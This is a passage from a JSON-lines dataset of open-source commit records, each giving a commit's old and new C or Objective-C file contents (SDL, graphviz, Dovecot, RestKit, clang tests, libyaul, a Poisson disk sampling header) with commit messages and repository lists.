SDLSoftButtonType;\n@class SDLSystemAction;\n\n\n@interface SDLSoftButton : SDLRPCStruct <SDLRequestHandler> {\n}\n\n- (instancetype)init;\n- (instancetype)initWithHandler:(SDLRPCNotificationHandler)handler;\n- (instancetype)initWithDictionary:(NSMutableDictionary *)dict;\n\n- (instancetype)initWithType:(SDLSoftButtonType *)type text:(NSString *)text image:(SDLImage *)image highlighted:(BOOL)highlighted buttonId:(UInt16)buttonId systemAction:(SDLSystemAction *)systemAction handler:(SDLRPCNotificationHandler)handler;\n\n@property (copy, nonatomic) SDLRPCNotificationHandler handler;\n\n@property (strong) SDLSoftButtonType *type;\n@property (strong) NSString *text;\n@property (strong) SDLImage *image;\n@property (strong) NSNumber *isHighlighted;\n@property (strong) NSNumber *softButtonID;\n@property (strong) SDLSystemAction *systemAction;\n\n@end\n","subject":"Fix typo in initializer property name.","message":"Fix typo in initializer property name.\n","lang":"C","license":"bsd-3-clause","repos":"APCVSRepo\/sdl_ios,smartdevicelink\/sdl_ios,smartdevicelink\/sdl_ios,FordDev\/sdl_ios,APCVSRepo\/sdl_ios,FordDev\/sdl_ios,kshala-ford\/sdl_ios,davidswi\/sdl_ios,kshala-ford\/sdl_ios,kshala-ford\/sdl_ios,APCVSRepo\/sdl_ios,smartdevicelink\/sdl_ios,kshala-ford\/sdl_ios,FordDev\/sdl_ios,smartdevicelink\/sdl_ios,FordDev\/sdl_ios,davidswi\/sdl_ios,kshala-ford\/sdl_ios,APCVSRepo\/sdl_ios,davidswi\/sdl_ios,FordDev\/sdl_ios,davidswi\/sdl_ios,APCVSRepo\/sdl_ios,smartdevicelink\/sdl_ios,davidswi\/sdl_ios"}
{"commit":"d4654bbf9f2f710e662e41826f365b294a845fad","old_file":"cmd\/lefty\/txtview.h","new_file":"cmd\/lefty\/txtview.h","old_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\n\/* Lefteris Koutsofios - AT&T Bell Laboratories *\/\n\n#ifndef _TXTVIEW_H\n#define _TXTVIEW_H\n    void TXTinit(Grect_t);\n    void TXTterm(void);\n    int TXTmode(int argc, lvar_t * argv);\n    int TXTask(int argc, lvar_t * argv);\n    void TXTprocess(int, char *);\n    void TXTupdate(void);\n    void TXTtoggle(int, void *);\n#endif\t\t\t\t\/* _TXTVIEW_H *\/\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/* Lefteris Koutsofios - AT&T Labs Research *\/\n\n#ifndef _TXTVIEW_H\n#define _TXTVIEW_H\nvoid TXTinit (Grect_t);\nvoid TXTterm (void);\nint TXTmode (int argc, lvar_t *argv);\nint TXTask (int argc, lvar_t *argv);\nvoid TXTprocess (int, char *);\nvoid TXTupdate (void);\nvoid TXTtoggle (int, void *);\n#endif \/* _TXTVIEW_H *\/\n\n#ifdef __cplusplus\n}\n#endif\n","subject":"Update with new lefty, fixing many bugs and supporting new features","message":"Update with new lefty, fixing many bugs and supporting new features\n","lang":"C","license":"epl-1.0","repos":"MjAbuz\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,tkelman\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,ellson\/graphviz,tkelman\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz"}
{"commit":"181f2fc186c1580c514a9d86bdc8b07fc0a1a7bf","old_file":"src\/imap\/cmd-create.c","new_file":"src\/imap\/cmd-create.c","old_contents":"\/* Copyright (C) 2002 Timo Sirainen *\/\n\n#include \"common.h\"\n#include \"mail-namespace.h\"\n#include \"commands.h\"\n\nbool cmd_create(struct client_command_context *cmd)\n{\n\tstruct mail_namespace *ns;\n\tconst char *mailbox, *full_mailbox;\n\tbool directory;\n\tsize_t len;\n\n\t\/* <mailbox> *\/\n\tif (!client_read_string_args(cmd, 1, &mailbox))\n\t\treturn FALSE;\n\tfull_mailbox = mailbox;\n\n\tns = client_find_namespace(cmd, &mailbox);\n\tif (ns == NULL)\n\t\treturn TRUE;\n\n\tlen = strlen(full_mailbox);\n\tif (len == 0 || full_mailbox[len-1] != ns->sep)\n\t\tdirectory = FALSE;\n\telse {\n\t\t\/* name ends with hierarchy separator - client is just\n\t\t   informing us that it wants to create children under this\n\t\t   mailbox. *\/\n                directory = TRUE;\n\t\tmailbox = t_strndup(mailbox, len-1);\n\t\tfull_mailbox = t_strndup(full_mailbox, strlen(full_mailbox)-1);\n\t}\n\n\tif (!client_verify_mailbox_name(cmd, full_mailbox, FALSE, TRUE))\n\t\treturn TRUE;\n\n\tif (mail_storage_mailbox_create(ns->storage, mailbox, directory) < 0)\n\t\tclient_send_storage_error(cmd, ns->storage);\n\telse\n\t\tclient_send_tagline(cmd, \"OK Create completed.\");\n\treturn TRUE;\n}\n","new_contents":"\/* Copyright (C) 2002 Timo Sirainen *\/\n\n#include \"common.h\"\n#include \"mail-namespace.h\"\n#include \"commands.h\"\n\nbool cmd_create(struct client_command_context *cmd)\n{\n\tstruct mail_namespace *ns;\n\tconst char *mailbox, *full_mailbox;\n\tbool directory;\n\tsize_t len;\n\n\t\/* <mailbox> *\/\n\tif (!client_read_string_args(cmd, 1, &mailbox))\n\t\treturn FALSE;\n\tfull_mailbox = mailbox;\n\n\tns = client_find_namespace(cmd, &mailbox);\n\tif (ns == NULL)\n\t\treturn TRUE;\n\n\tlen = strlen(full_mailbox);\n\tif (len == 0 || full_mailbox[len-1] != ns->sep)\n\t\tdirectory = FALSE;\n\telse {\n\t\t\/* name ends with hierarchy separator - client is just\n\t\t   informing us that it wants to create children under this\n\t\t   mailbox. *\/\n                directory = TRUE;\n\t\tmailbox = t_strndup(mailbox, strlen(mailbox)-1);\n\t\tfull_mailbox = t_strndup(full_mailbox, len-1);\n\t}\n\n\tif (!client_verify_mailbox_name(cmd, full_mailbox, FALSE, TRUE))\n\t\treturn TRUE;\n\n\tif (mail_storage_mailbox_create(ns->storage, mailbox, directory) < 0)\n\t\tclient_send_storage_error(cmd, ns->storage);\n\telse\n\t\tclient_send_tagline(cmd, \"OK Create completed.\");\n\treturn TRUE;\n}\n","subject":"CREATE ns_prefix\/box\/ didn't work right when namespace prefix existed.","message":"CREATE ns_prefix\/box\/ didn't work right when namespace prefix existed.\n\n--HG--\nbranch : HEAD\n","lang":"C","license":"mit","repos":"jwm\/dovecot-notmuch,jkerihuel\/dovecot,jwm\/dovecot-notmuch,jkerihuel\/dovecot,jkerihuel\/dovecot,jkerihuel\/dovecot,jkerihuel\/dovecot,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch"}
{"commit":"035e7732b87e04ebf28e342a21c222afd08cbb0f","old_file":"Code\/Support\/Errors.h","new_file":"Code\/Support\/Errors.h","old_contents":"\/\/\n\/\/  Errors.h\n\/\/  RestKit\n\/\/\n\/\/  Created by Blake Watters on 3\/25\/10.\n\/\/  Copyright 2010 Two Toasters\n\/\/  \n\/\/  Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/  you may not use this file except in compliance with the License.\n\/\/  You may obtain a copy of the License at\n\/\/  \n\/\/  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/  \n\/\/  Unless required by applicable law or agreed to in writing, software\n\/\/  distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/  See the License for the specific language governing permissions and\n\/\/  limitations under the License.\n\/\/\n\n\/\/ The error domain for RestKit generated errors\nextern NSString* const RKRestKitErrorDomain;\n\nextern NSString* const RKObjectMapperErrorObjectsKey;\n\ntypedef enum {\n\tRKObjectLoaderRemoteSystemError             =   1,\n\tRKRequestBaseURLOfflineError                =   2,\n    RKRequestUnexpectedResponseError            =   3,\n    RKObjectLoaderUnexpectedResponseError       =   4\n} RKRestKitError;\n","new_contents":"\/\/\n\/\/  Errors.h\n\/\/  RestKit\n\/\/\n\/\/  Created by Blake Watters on 3\/25\/10.\n\/\/  Copyright 2010 Two Toasters\n\/\/  \n\/\/  Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/  you may not use this file except in compliance with the License.\n\/\/  You may obtain a copy of the License at\n\/\/  \n\/\/  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/  \n\/\/  Unless required by applicable law or agreed to in writing, software\n\/\/  distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/  See the License for the specific language governing permissions and\n\/\/  limitations under the License.\n\/\/\n\n\/\/ The error domain for RestKit generated errors\nextern NSString* const RKRestKitErrorDomain;\n\nextern NSString* const RKObjectMapperErrorObjectsKey;\n\ntypedef enum {\n\tRKObjectLoaderRemoteSystemError             =   1,\n\tRKRequestBaseURLOfflineError                =   2,\n    RKRequestUnexpectedResponseError            =   3,\n    RKObjectLoaderUnexpectedResponseError       =   4,\n    RKRequestConnectionTimeoutError             =   5\n} RKRestKitError;\n","subject":"Add RKRequestConnectionTimeoutError to throw when our connection timeout has been exceeded.","message":"Add RKRequestConnectionTimeoutError to throw when our connection timeout has been exceeded.\n","lang":"C","license":"apache-2.0","repos":"nett55\/RestKit,fedegasp\/RestKit,justinyaoqi\/RestKit,concreteinteractive\/RestKit,moritzh\/RestKit,nett55\/RestKit,loverbabyz\/RestKit,Juraldinio\/RestKit,kevmeyer\/RestKit,mumer92\/RestKit,wireitcollege\/RestKit,concreteinteractive\/RestKit,DocuSignDev\/RestKit,canaydogan\/RestKit,ipmobiletech\/RestKit,pat2man\/RestKit,wangjiangwen\/RestKit,antondarki\/RestKit,wuxsoft\/RestKit,LiuShulong\/RestKit,StasanTelnov\/RestKit,timbodeit\/RestKit,0x73\/RestKit,loverbabyz\/RestKit,jrtaal\/RestKit,kevmeyer\/RestKit,adozenlines\/RestKit,hanangellove\/RestKit,zhenlove\/RestKit,0dayZh\/RestKit,goldstar\/RestKit,RestKit\/RestKit,nphkh\/RestKit,lucasecf\/RestKit,mcfedr\/RestKit,aleufms\/RestKit,djz-code\/RestKit,HYPERHYPER\/RestKit2,Gaantz\/RestKit,naqi\/RestKit,0dayZh\/RestKit,coderChrisLee\/RestKit,taptaptap\/RestKit,lucasecf\/RestKit,mumer92\/RestKit,vilinskiy-playdayteam\/RestKit,DocuSignDev\/RestKit,CodewareTechnology\/RestKit,braindata\/RestKit-1,paperlesspost\/RestKit,nalindz\/pulpfiction-RestKit,nett55\/RestKit,canaydogan\/RestKit,zilaiyedaren\/RestKit,loverbabyz\/RestKit,HYPERHYPER\/RestKit2,thomaschristensen\/RestKit,apontador\/RestKit,gank0326\/restkit,canaydogan\/RestKit,pbogdanv\/RestKit,apontador\/RestKit,RestKit\/RestKit,qingsong-xu\/RestKit,ChinaPicture\/RestKit,sachin-khard\/NucRestKit,money-alex2006hw\/RestKit,cryptojuice\/RestKit,cryptojuice\/RestKit,coderChrisLee\/RestKit,adozenlines\/RestKit,nett55\/RestKit,sachin-khard\/NucleusRestKit,HarrisLee\/RestKit,cnbin\/RestKit,ForrestAlfred\/RestKit,QLGu\/RestKit,goldstar\/RestKit,hejunbinlan\/RestKit,gauravstomar\/RestKit,TheFarm\/RestKit,zjh171\/RestKit,Juraldinio\/RestKit,SuPair\/RestKit,ForrestAlfred\/RestKit,HarrisLee\/RestKit,sachin-khard\/NucleusRestKit,braindata\/RestKit-1,mumer92\/RestKit,ppierson\/RestKit,ForrestAlfred\/RestKit,percysnoodle\/RestKit,youssman\/RestKit,coderChrisLee\/RestKit,sachin-khard\/NucleusRestKit,dx285\/RestKit,REXLabsInc\/RestKit,ppierson\/RestKit,imton\/RestKit,oye-lionel\/GithubTest,jrtaal\/RestKit,common2015\/RestKit,baumatron\/RestKit,LiuShulong\/RestKit,timbodeit\/RestKit,qingsong-xu\/RestKit,paperlesspost\/RestKit,concreteinteractive\/RestKit,LiuShulong\/RestKit,fhchina\/RestKit,Papercloud\/RestKit,oligriffiths\/RestKit,CenterDevice\/RestKit,StasanTelnov\/RestKit,RyanCodes\/RestKit,cfis\/RestKit,gank0326\/restkit,money-alex2006hw\/RestKit,lmirosevic\/RestKit,braindata\/RestKit-1,qingsong-xu\/RestKit,moneytree\/RestKit,antondarki\/RestKit,imton\/RestKit,baumatron\/RestKit,sandyway\/RestKit,caamorales\/RestKit,CenterDevice\/RestKit,nphkh\/RestKit,common2015\/RestKit,lucasecf\/RestKit,wangjiangwen\/RestKit,dx285\/RestKit,damiannz\/RestKit,coderChrisLee\/RestKit,QLGu\/RestKit,Papercloud\/RestKit,canaydogan\/RestKit,gank0326\/restkit,goldstar\/RestKit,QLGu\/RestKit,hejunbinlan\/RestKit,fhchina\/RestKit,oligriffiths\/RestKit,justinyaoqi\/RestKit,damiannz\/RestKit,jonesgithub\/RestKit,Bogon\/RestKit,zhenlove\/RestKit,erichedstrom\/RestKit,pbogdanv\/RestKit,sachin-khard\/NucRestKit,DejaMi\/RestKit,Bogon\/RestKit,wireitcollege\/RestKit,mikarun\/RestKit,wyzzarz\/RestKit,lucasecf\/RestKit,moritzh\/RestKit,nphkh\/RestKit,oligriffiths\/RestKit,DejaMi\/RestKit,RyanCodes\/RestKit,RyanCodes\/RestKit,ForrestAlfred\/RestKit,jonesgithub\/RestKit,DejaMi\/RestKit,Livestream\/RestKit,imton\/RestKit,goldstar\/RestKit,sandyway\/RestKit,wuxsoft\/RestKit,adozenlines\/RestKit,zjh171\/RestKit,Juraldinio\/RestKit,braindata\/RestKit,zilaiyedaren\/RestKit,ipmobiletech\/RestKit,agworld\/RestKit,nett55\/RestKit,nphkh\/RestKit,samanalysis\/RestKit,PonderProducts\/RestKit,fhchina\/RestKit,Papercloud\/RestKit,cnbin\/RestKit,hejunbinlan\/RestKit,cfis\/RestKit,coderChrisLee\/RestKit,mberube09\/RestKit,jrtaal\/RestKit,common2015\/RestKit,HYPERHYPER\/RestKit2,gauravstomar\/RestKit,money-alex2006hw\/RestKit,Flutterbee\/RestKit,Meihualu\/RestKit,djz-code\/RestKit,Livestream\/RestKit,youssman\/RestKit,aleufms\/RestKit,percysnoodle\/RestKit,zaichang\/RestKit,wireitcollege\/RestKit,jrtaal\/RestKit,apontador\/RestKit,ppierson\/RestKit,CodewareTechnology\/RestKit,HYPERHYPER\/RestKit2,zjh171\/RestKit,zaichang\/RestKit,moritzh\/RestKit,damiannz\/RestKit,timbodeit\/RestKit,nalindz\/pulpfiction-RestKit,samanalysis\/RestKit,HarrisLee\/RestKit,cnbin\/RestKit,gauravstomar\/RestKit,zilaiyedaren\/RestKit,oligriffiths\/RestKit,gank0326\/restkit,cnbin\/RestKit,samanalysis\/RestKit,qingsong-xu\/RestKit,ForrestAlfred\/RestKit,antondarki\/RestKit,djz-code\/RestKit,mberube09\/RestKit,wyzzarz\/RestKit,canaydogan\/RestKit,percysnoodle\/RestKit,timbodeit\/RestKit,PonderProducts\/RestKit,Papercloud\/RestKit,kevmeyer\/RestKit,dx285\/RestKit,timbodeit\/RestKit,sandyway\/RestKit,Bogon\/RestKit,gauravstomar\/RestKit,jonesgithub\/RestKit,thomaschristensen\/RestKit,PonderProducts\/RestKit,kevmeyer\/RestKit,Flutterbee\/RestKit,wangjiangwen\/RestKit,RyanCodes\/RestKit,hanangellove\/RestKit,fedegasp\/RestKit,zhenlove\/RestKit,lmirosevic\/RestKit,REXLabsInc\/RestKit,jrtaal\/RestKit,wyzzarz\/RestKit,zaichang\/RestKit,RyanCodes\/RestKit,HYPERHYPER\/RestKit2,orta\/RestKit,oligriffiths\/RestKit,hejunbinlan\/RestKit,adozenlines\/RestKit,fedegasp\/RestKit,forcedotcom\/RestKit,0x73\/RestKit,ipmobiletech\/RestKit,moritzh\/RestKit,agworld\/RestKit,lucasecf\/RestKit,Gaantz\/RestKit,mumer92\/RestKit,DocuSignDev\/RestKit,mikarun\/RestKit,TwinEngineLabs-Engineering\/RestKit-TEL,cryptojuice\/RestKit,ipmobiletech\/RestKit,TheFarm\/RestKit,samkrishna\/RestKit,CodewareTechnology\/RestKit,taptaptap\/RestKit,wireitcollege\/RestKit,hanangellove\/RestKit,taptaptap\/RestKit,samanalysis\/RestKit,youssman\/RestKit,imton\/RestKit,pbogdanv\/RestKit,sandyway\/RestKit,mberube09\/RestKit,antondarki\/RestKit,cnbin\/RestKit,Meihualu\/RestKit,jonesgithub\/RestKit,nphkh\/RestKit,justinyaoqi\/RestKit,wuxsoft\/RestKit,HarrisLee\/RestKit,Meihualu\/RestKit,0x73\/RestKit,oye-lionel\/GithubTest,ppierson\/RestKit,SuPair\/RestKit,justinyaoqi\/RestKit,sachin-khard\/NucRestKit,zjh171\/RestKit,money-alex2006hw\/RestKit,0dayZh\/RestKit,forcedotcom\/RestKit,Flutterbee\/RestKit,apontador\/RestKit,CodewareTechnology\/RestKit,QLGu\/RestKit,mavericksunny\/RestKit,margarina\/RestKit-latest,caamorales\/RestKit,QLGu\/RestKit,nalindz\/pulpfiction-RestKit,Livestream\/RestKit,0x73\/RestKit,wuxsoft\/RestKit,0x73\/RestKit,moneytree\/RestKit,hanangellove\/RestKit,loverbabyz\/RestKit,SuPair\/RestKit,justinyaoqi\/RestKit,0dayZh\/RestKit,baumatron\/RestKit,margarina\/RestKit-latest,REXLabsInc\/RestKit,fedegasp\/RestKit,vilinskiy-playdayteam\/RestKit,caamorales\/RestKit,Meihualu\/RestKit,mcfedr\/RestKit,RestKit\/RestKit,ipmobiletech\/RestKit,samanalysis\/RestKit,damiannz\/RestKit,cryptojuice\/RestKit,Flutterbee\/RestKit,wyzzarz\/RestKit,gumdal\/RestKit,zilaiyedaren\/RestKit,Gaantz\/RestKit,braindata\/RestKit,zaichang\/RestKit,concreteinteractive\/RestKit,DejaMi\/RestKit,paperlesspost\/RestKit,zhenlove\/RestKit,ChinaPicture\/RestKit,lmirosevic\/RestKit,djz-code\/RestKit,SuPair\/RestKit,dx285\/RestKit,lmirosevic\/RestKit,erichedstrom\/RestKit,moneytree\/RestKit,hejunbinlan\/RestKit,TwinEngineLabs-Engineering\/RestKit-TEL,caamorales\/RestKit,braindata\/RestKit-1,common2015\/RestKit,fedegasp\/RestKit,ChinaPicture\/RestKit,sachin-khard\/NucleusRestKit,moneytree\/RestKit,ChinaPicture\/RestKit,zilaiyedaren\/RestKit,forcedotcom\/RestKit,braindata\/RestKit-1,HarrisLee\/RestKit,CenterDevice\/RestKit,ppierson\/RestKit,StasanTelnov\/RestKit,mavericksunny\/RestKit,fhchina\/RestKit,Livestream\/RestKit,pbogdanv\/RestKit,oye-lionel\/GithubTest,margarina\/RestKit-latest,erichedstrom\/RestKit,percysnoodle\/RestKit,sachin-khard\/NucRestKit,nalindz\/pulpfiction-RestKit,lmirosevic\/RestKit,common2015\/RestKit,LiuShulong\/RestKit,thomaschristensen\/RestKit,youssman\/RestKit,thomaschristensen\/RestKit,fhchina\/RestKit,baumatron\/RestKit,sandyway\/RestKit,DejaMi\/RestKit,Gaantz\/RestKit,zhenlove\/RestKit,apontador\/RestKit,braindata\/RestKit,mumer92\/RestKit,forcedotcom\/RestKit,naqi\/RestKit,pat2man\/RestKit,gumdal\/RestKit,mberube09\/RestKit,Bogon\/RestKit,REXLabsInc\/RestKit,CenterDevice\/RestKit,gank0326\/restkit,samkrishna\/RestKit,braindata\/RestKit,mikarun\/RestKit,sachin-khard\/NucRestKit,TwinEngineLabs-Engineering\/RestKit-TEL,aleufms\/RestKit,qingsong-xu\/RestKit,aleufms\/RestKit,moritzh\/RestKit,taptaptap\/RestKit,agworld\/RestKit,dx285\/RestKit,cfis\/RestKit,money-alex2006hw\/RestKit,margarina\/RestKit-latest,aleufms\/RestKit,mavericksunny\/RestKit,loverbabyz\/RestKit,zjh171\/RestKit,wangjiangwen\/RestKit,wuxsoft\/RestKit,mavericksunny\/RestKit,paperlesspost\/RestKit,TheFarm\/RestKit,kevmeyer\/RestKit,cryptojuice\/RestKit,vilinskiy-playdayteam\/RestKit,Gaantz\/RestKit,antondarki\/RestKit,TwinEngineLabs-Engineering\/RestKit-TEL,concreteinteractive\/RestKit,damiannz\/RestKit,oye-lionel\/GithubTest,pat2man\/RestKit,hanangellove\/RestKit,agworld\/RestKit,TwinEngineLabs-Engineering\/RestKit-TEL,caamorales\/RestKit,moneytree\/RestKit,pbogdanv\/RestKit,sachin-khard\/NucleusRestKit,baumatron\/RestKit,Bogon\/RestKit,orta\/RestKit,pat2man\/RestKit,pat2man\/RestKit,ChinaPicture\/RestKit,mikarun\/RestKit,CodewareTechnology\/RestKit,wireitcollege\/RestKit,Meihualu\/RestKit,LiuShulong\/RestKit,jonesgithub\/RestKit,gumdal\/RestKit,youssman\/RestKit,mikarun\/RestKit,Juraldinio\/RestKit,adozenlines\/RestKit,samkrishna\/RestKit,SuPair\/RestKit,gauravstomar\/RestKit,wangjiangwen\/RestKit,naqi\/RestKit,Juraldinio\/RestKit,vilinskiy-playdayteam\/RestKit,naqi\/RestKit,PonderProducts\/RestKit,oye-lionel\/GithubTest,Papercloud\/RestKit,imton\/RestKit"}
{"commit":"d484040a5fc8d8d8a7a6a0239fc3b34486258181","old_file":"test\/CodeGen\/2005-07-20-SqrtNoErrno.c","new_file":"test\/CodeGen\/2005-07-20-SqrtNoErrno.c","old_contents":"\/\/ RUN: %clang_cc1 %s -emit-llvm -o - | FileCheck %s\n\/\/ llvm.sqrt has undefined behavior on negative inputs, so it is\n\/\/ inappropriate to translate C\/C++ sqrt to this.\nfloat sqrtf(float x);\nfloat foo(float X) {\n  \/\/ CHECK: foo\n  \/\/ CHECK: call float @sqrtf(float %tmp) readnone\n  \/\/ Check that this is marked readonly when errno is ignored.\n  return sqrtf(X);\n}\n","new_contents":"\/\/ RUN: %clang_cc1 %s -emit-llvm -o - | FileCheck %s\n\/\/ llvm.sqrt has undefined behavior on negative inputs, so it is\n\/\/ inappropriate to translate C\/C++ sqrt to this.\nfloat sqrtf(float x);\nfloat foo(float X) {\n  \/\/ CHECK: foo\n  \/\/ CHECK: call float @sqrtf(float %\n  \/\/ Check that this is marked readonly when errno is ignored.\n  return sqrtf(X);\n}\n","subject":"Adjust check for release mode.","message":"Adjust check for release mode.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@136158 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"3c1245b31011d25f7c660592d456cf9109766195","old_file":"libyaul\/math\/color.h","new_file":"libyaul\/math\/color.h","old_contents":"#ifndef __libfixmath_color_h__\n#define __libfixmath_color_h__\n\n#include \"fix16.h\"\n\ntypedef union {\n        struct {\n                unsigned int r:5;\n                unsigned int g:5;\n                unsigned int b:5;\n                unsigned int :1;\n        } __packed;\n        uint8_t comp[3];\n        uint16_t raw;\n}  __aligned (4) color_rgb_t;\n\ntypedef union {\n        struct {\n                fix16_t h;\n                fix16_t s;\n                fix16_t v;\n        };\n        fix16_t comp[3];\n} __aligned (4) color_fix16_hsv_t;\n\ntypedef union {\n        struct {\n                uint8_t h;\n                uint8_t s;\n                uint8_t v;\n        };\n        uint8_t comp[3];\n} __aligned (4) color_uint8_hsv_t;\n\nextern void color_rgb_hsv_convert(const color_rgb_t *,\n    color_fix16_hsv_t *);\n\nextern void color_hsv_lerp(const color_fix16_hsv_t *, const color_fix16_hsv_t *,\n    fix16_t, color_fix16_hsv_t *);\n\n#endif \/* !__libfixmath_color_h__ *\/\n","new_contents":"#ifndef __libfixmath_color_h__\n#define __libfixmath_color_h__\n\n#include \"fix16.h\"\n\ntypedef union {\n        struct {\n                unsigned int :1;\n                unsigned int b:5;\n                unsigned int g:5;\n                unsigned int r:5;\n        } __packed;\n        uint8_t comp[3];\n        uint16_t raw;\n}  __aligned (4) color_rgb_t;\n\ntypedef union {\n        struct {\n                fix16_t v;\n                fix16_t s;\n                fix16_t h;\n        };\n        fix16_t comp[3];\n} __aligned (4) color_fix16_hsv_t;\n\ntypedef union {\n        struct {\n                uint8_t v;\n                uint8_t s;\n                uint8_t h;\n        };\n        uint8_t comp[3];\n} __aligned (4) color_uint8_hsv_t;\n\nextern void color_rgb_hsv_convert(const color_rgb_t *,\n    color_fix16_hsv_t *);\n\nextern void color_hsv_lerp(const color_fix16_hsv_t *, const color_fix16_hsv_t *,\n    fix16_t, color_fix16_hsv_t *);\n\n#endif \/* !__libfixmath_color_h__ *\/\n","subject":"Change R and B components","message":"Change R and B components\n","lang":"C","license":"mit","repos":"ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul,ijacquez\/libyaul"}
{"commit":"56cf12e72964cda321a577fbf5ad1a0aceed9a18","old_file":"Libraries\/PoissionDiskSampling\/Include\/PoissonDiskSampling.h","new_file":"Libraries\/PoissionDiskSampling\/Include\/PoissonDiskSampling.h","old_contents":"","new_contents":"#ifndef POISSON_DISK_SAMPLING_H\n#define POISSON_DISK_SAMPLING_H\n\n#include <vector>\n\nclass PoissonDiskSampling\n{\npublic:\n\tPoissonDiskSampling() = default;\n\tPoissonDiskSampling(int pointWidth, int pointHeight, double pointMinDist, double pointCount);\n\n\t~PoissonDiskSampling() = default;\n\n\tPoissonDiskSampling(const PoissonDiskSampling& pds) = delete;\n\tPoissonDiskSampling(PoissonDiskSampling&& pds) = delete;\n\n\tPoissonDiskSampling& operator=(const PoissonDiskSampling& rhs) = delete;\n\tPoissonDiskSampling& operator=(PoissonDiskSampling&& rhs) = delete;\n\n\tstd::vector<std::pair<double, double>> Generate();\n\n\tstruct Point\n\t{\n\t\tPoint() : x(0.0), y(0.0) { }\n\t\tPoint(double _x, double _y) : x(_x), y(_y) { }\n\n\t\t~Point() = default;\n\n\t\tPoint(const Point& p) : x(p.x), y(p.y) { }\n\t\tPoint(Point&& p) : x(p.x), y(p.y) { }\n\n\t\tPoint& operator=(const Point& rhs)\n\t\t{\n\t\t\tif (this == &rhs)\n\t\t\t{\n\t\t\t\treturn *this;\n\t\t\t}\n\n\t\t\tx = rhs.x;\n\t\t\ty = rhs.y;\n\n\t\t\treturn *this;\n\t\t}\n\t\tPoint& operator=(Point&& rhs)\n\t\t{\n\t\t\tif (this == &rhs)\n\t\t\t{\n\t\t\t\treturn *this;\n\t\t\t}\n\n\t\t\tx = rhs.x;\n\t\t\ty = rhs.y;\n\n\t\t\treturn *this;\n\t\t}\n\n\t\tint GetGridIndex(double cellSize, int mapWidth) const\n\t\t{\n\t\t\tint indexX = static_cast<int>(x \/ cellSize);\n\t\t\tint indexY = static_cast<int>(y \/ cellSize);\n\n\t\t\treturn indexX + indexY * mapWidth;\n\t\t}\n\n\t\tdouble Distance(Point p) const\n\t\t{\n\t\t\treturn sqrt((x - p.x) * (x - p.x) + (y - p.y) * (y - p.y));\n\t\t}\n\n\t\tdouble x, y;\n\t};\n\nprivate:\n\tstd::vector<std::vector<Point*>> 